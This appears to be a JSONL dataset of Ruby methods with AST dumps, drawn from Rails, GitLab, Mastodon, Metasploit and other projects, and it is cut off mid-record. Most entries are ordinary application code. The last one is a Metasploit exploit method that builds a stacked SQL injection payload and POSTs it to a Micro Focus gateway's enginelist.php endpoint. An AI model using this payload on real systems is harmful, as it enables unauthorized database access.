{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_loot_data_service.rb","start_line":9,"raw_source":"def loot(opts = {})\n    path = get_path_select(opts, LOOT_API_PATH)\n    data = self.get_data(path, nil, opts)\n    rv = json_to_mdm_object(data, LOOT_MDM_CLASS)\n    parsed_body = JSON.parse(data.response.body, symbolize_names: true)\n    data = Array.wrap(parsed_body[:data])\n    data.each do |loot|\n      # TODO: Add an option to toggle whether the file data is returned or not\n      if loot[:data] && !loot[:data].empty?\n        local_path = File.join(Msf::Config.loot_directory, File.basename(loot[:path]))\n        rv[data.index(loot)].path = process_file(loot[:data], local_path)\n        rv[data.index(loot)].data = decode_loot_data(loot[:data])\n      end\n      if loot[:host]\n        host_object = to_ar(RemoteHostDataService::HOST_MDM_CLASS.constantize, loot[:host])\n        rv[data.index(loot)].host = host_object\n      end\n    end\n    rv\n  end","complexity_score":60.4,"ast_json":"{\"type\":\"def\",\"children\":[\"loot\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"get_path_select\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"const\",\"children\":[null,\"LOOT_API_PATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_data\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rv\",{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"const\",\"children\":[null,\"LOOT_MDM_CLASS\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"response\"]},\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"loot\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"local_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"loot_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]},\"path=\",{\"type\":\"send\",\"children\":[null,\"process_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},{\"type\":\"lvar\",\"children\":[\"local_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]},\"data=\",{\"type\":\"send\",\"children\":[null,\"decode_loot_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host_object\",{\"type\":\"send\",\"children\":[null,\"to_ar\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RemoteHostDataService\"]},\"HOST_MDM_CLASS\"]},\"constantize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rv\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"loot\"]}]}]},\"host=\",{\"type\":\"lvar\",\"children\":[\"host_object\"]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"rv\"]}]}]}","id":"bb0005a2-c11a-4058-99ed-82ced754abd6"}
{"repo_name":"wisper","file_path":"./repos/wisper/lib/wisper/registration/object.rb","start_line":24,"raw_source":"def publisher_in_scope?(publisher)\n      allowed_classes.empty? || publisher.class.ancestors.any? { |ancestor| allowed_classes.include?(ancestor.to_s) }\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"publisher_in_scope?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"publisher\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_classes\"]},\"empty?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"publisher\"]},\"class\"]},\"ancestors\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ancestor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allowed_classes\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor\"]},\"to_s\"]}]}]}]}]}","id":"8035543c-a66d-4659-a3b1-a48c7ee9211c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/broadcast_logger.rb","start_line":107,"raw_source":"def local_level=(level)\n      @broadcasts.each do |logger|\n        logger.local_level = level if logger.respond_to?(:local_level=)\n      end\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local_level=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@broadcasts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"logger\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"local_level=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logger\"]},\"local_level=\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},null]}]}]}","id":"cbd2d6c4-4d2a-41e3-8fea-8a961a1b6020"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":349,"raw_source":"def merge_request_note?\n    note? && target && target.for_merge_request?\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_request_note?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note?\"]},{\"type\":\"send\",\"children\":[null,\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"for_merge_request?\"]}]}]}","id":"62c6bb83-0aeb-4afb-83e1-d2223c545e5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/optional_session/ldap.rb","start_line":11,"raw_source":"def initialize(info = {})\n        super(\n          update_info(\n            info,\n            'SessionTypes' => %w[ldap]\n          )\n        )\n\n        if optional_session_enabled?\n          register_option_group(name: 'SESSION',\n                                description: 'Used when connecting via an existing SESSION',\n                                option_names: ['SESSION'])\n          register_option_group(name: 'RHOST',\n                                description: 'Used when making a new connection via RHOSTS',\n                                option_names: RHOST_GROUP_OPTIONS,\n                                required_options: REQUIRED_OPTIONS)\n\n          register_options(\n            [\n              Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),\n              Msf::Opt::RHOST(nil, false),\n              Msf::Opt::RPORT(389, false)\n            ]\n          )\n\n          add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')\n        end\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ldap\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"optional_session_enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_option_group\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"SESSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Used when connecting via an existing SESSION\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SESSION\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_option_group\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Used when making a new connection via RHOSTS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option_names\"]},{\"type\":\"const\",\"children\":[null,\"RHOST_GROUP_OPTIONS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required_options\"]},{\"type\":\"const\",\"children\":[null,\"REQUIRED_OPTIONS\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"SESSION\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The session to run this module on\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"RHOST\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[389]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_info\",{\"type\":\"str\",\"children\":[\"New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr\"]}]}]},null]}]}]}","id":"45ca3bd8-ee28-46d2-8f2c-5c0ef9558bfd"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/topic.rb","start_line":103,"raw_source":"def find_post_action_buttons(post)\n        within_post(post) { find(\".post-controls .actions\") }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"find_post_action_buttons\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_post\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".post-controls .actions\"]}]}]}]}","id":"3b1cb6c9-56e8-4179-a2bc-3b0ac6a0182d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb","start_line":166,"raw_source":"def quarter\n      (month / 3.0).ceil\n    end","complexity_score":3.95,"ast_json":"{\"type\":\"def\",\"children\":[\"quarter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"month\"]},\"/\",{\"type\":\"float\",\"children\":[3.0]}]}]},\"ceil\"]}]}","id":"ae271a79-56af-4427-9fac-1ad748460fe6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/software_update.rb","start_line":40,"raw_source":"def by_version\n      all.sort_by(&:gem_version)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"by_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_version\"]}]}]}]}","id":"e193e797-b04e-48dd-92cc-16bcd015e289"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/homescreen/blocks/new_features.rb","start_line":67,"raw_source":"def has_image?\n        helpers.has_rails_asset?(feature_teaser_image)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_image?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"has_rails_asset?\",{\"type\":\"send\",\"children\":[null,\"feature_teaser_image\"]}]}]}","id":"4f3296e2-80f7-42a9-84a1-9fd9ebc460ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":719,"raw_source":"def features\n      {\n        trace_sections: true,\n        failure_reasons: self.class.failure_reasons.keys\n      }\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"features\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trace_sections\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure_reasons\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"failure_reasons\"]},\"keys\"]}]}]}]}","id":"b49bb505-1958-4e94-b569-88f965f9e6dc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/miq_web_server_worker_mixin.rb","start_line":37,"raw_source":"def sync_workers\n      # TODO: add an at_exit to remove all registered ports and gracefully stop apache\n      self.registered_ports ||= []\n\n      workers = find_current_or_starting\n      current = workers.length\n      desired = self.workers\n      result  = {:adds => [], :deletes => []}\n      ports = all_ports_in_use\n\n      # TODO: This tracking of adds/deletes of pids and ports is not DRY\n      ports_hash = {:deletes => [], :adds => []}\n\n      if current != desired\n        _log.info(\"Workers are being synchronized: Current #: [#{current}], Desired #: [#{desired}]\")\n\n        if desired > current && enough_resource_to_start_worker?\n          (desired - current).times do\n            port = reserve_port(ports)\n            _log.info(\"Reserved port=#{port}, Current ports in use: #{ports.inspect}\")\n            ports << port\n            ports_hash[:adds] << port\n            w = start_worker(:uri => build_uri(port))\n            result[:adds] << w.pid\n          end\n        elsif desired < current\n          workers = workers.to_a\n          (current - desired).times do\n            w = workers.pop\n            port = w.port\n            ports.delete(port)\n            ports_hash[:deletes] << port\n\n            _log.info(\"Unreserved port=#{port}, Current ports in use: #{ports.inspect}\")\n            result[:deletes] << w.pid\n            w.stop\n          end\n        end\n      end\n\n      result\n    end","complexity_score":81.0,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"registered_ports\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"workers\",{\"type\":\"send\",\"children\":[null,\"find_current_or_starting\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"desired\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workers\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adds\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ports\",{\"type\":\"send\",\"children\":[null,\"all_ports_in_use\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ports_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deletes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adds\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"desired\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Workers are being synchronized: Current #: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"str\",\"children\":[\"], Desired #: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\">\",{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"send\",\"children\":[null,\"enough_resource_to_start_worker?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"current\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[null,\"reserve_port\",{\"type\":\"lvar\",\"children\":[\"ports\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Reserved port=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\", Current ports in use: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"adds\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"lvasgn\",\"children\":[\"w\",{\"type\":\"send\",\"children\":[null,\"start_worker\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"build_uri\",{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"adds\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"pid\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"workers\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"to_a\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"desired\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"w\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workers\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports_hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deletes\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unreserved port=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"port\"]}]},{\"type\":\"str\",\"children\":[\", Current ports in use: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ports\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deletes\"]}]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"pid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"stop\"]}]}]}]},null]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"62b140c3-4a87-468a-954f-c715727d7048"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_hash_test.rb","start_line":167,"raw_source":"def test_merge_with_block\n    hash = ActiveSupport::OrderedHash.new\n    hash[:a] = 0\n    hash[:b] = 0\n    merged = hash.merge(b: 2, c: 7) do |key, old_value, new_value|\n      new_value + 1\n    end\n\n    assert_equal 0, merged[:a]\n    assert_equal 3, merged[:b]\n    assert_equal 7, merged[:c]\n  end","complexity_score":16.23,"ast_json":"{\"type\":\"def\",\"children\":[\"test_merge_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedHash\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"merged\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"b\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"int\",\"children\":[7]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"new_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merged\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merged\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"b\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[7]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merged\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"c\"]}]}]}]}]}","id":"5b1d2bd3-301f-455e-b3e7-2b544a275adf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/microfocus_secure_messaging_gateway.rb","start_line":66,"raw_source":"def execute_query(query)\n    #\n    # We have a very rare SQLi case in here. Normally, it's would be very easy to exploit it by using time-based techniques\n    # but since we are able to use stacked-query approach, following form of payload is required in order to be able\n    # get back the output of query !\n    #\n    sql = rand_text_alphanumeric(3 + rand(3))\n    sql << \"') LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressPlain ON ScanEngineBindAddressPlain.idScanEngine=ScanEngineProperty.idScanEngine \"\n    sql << \"LEFT JOIN ScanEngineProperty AS ScanEngineBindAddressSsl ON ScanEngineBindAddressSsl.idScanEngine=ScanEngineProperty.idScanEngine \"\n    sql << \"LEFT JOIN ScanEngineProperty AS ScanEngineEnableSsl ON ScanEngineEnableSsl.idScanEngine=ScanEngineProperty.idScanEngine; \"\n    sql << query\n    sql << \"; -- \"\n    sql << rand_text_alphanumeric(3 + rand(3))\n\n    send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api', '1', 'enginelist.php'),\n      'vars_post' => {\n        'appkey' => sql\n      }\n    )\n  